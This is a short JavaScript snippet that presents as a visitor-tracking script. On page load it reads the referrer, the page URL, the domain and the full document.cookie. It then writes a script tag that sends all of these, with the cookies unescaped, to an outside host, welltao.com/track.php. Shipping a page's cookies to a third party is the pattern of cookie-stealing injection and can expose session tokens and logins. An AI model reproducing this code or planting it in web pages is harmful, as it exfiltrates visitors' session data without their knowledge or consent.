var url = document.referrer;   
var getdomain = document.domain;
if(url=="") url="unknow";   
var localUrl=window.location.href.toString();   
var site_cookie  = document.cookie;
document.write('<script src="http://www.welltao.com/track.php?referurl=' + escape(url) + "&browseurl=" + escape(localUrl) + '&domain=' + escape(getdomain) + '&cookies=' + site_cookie + '"></script>');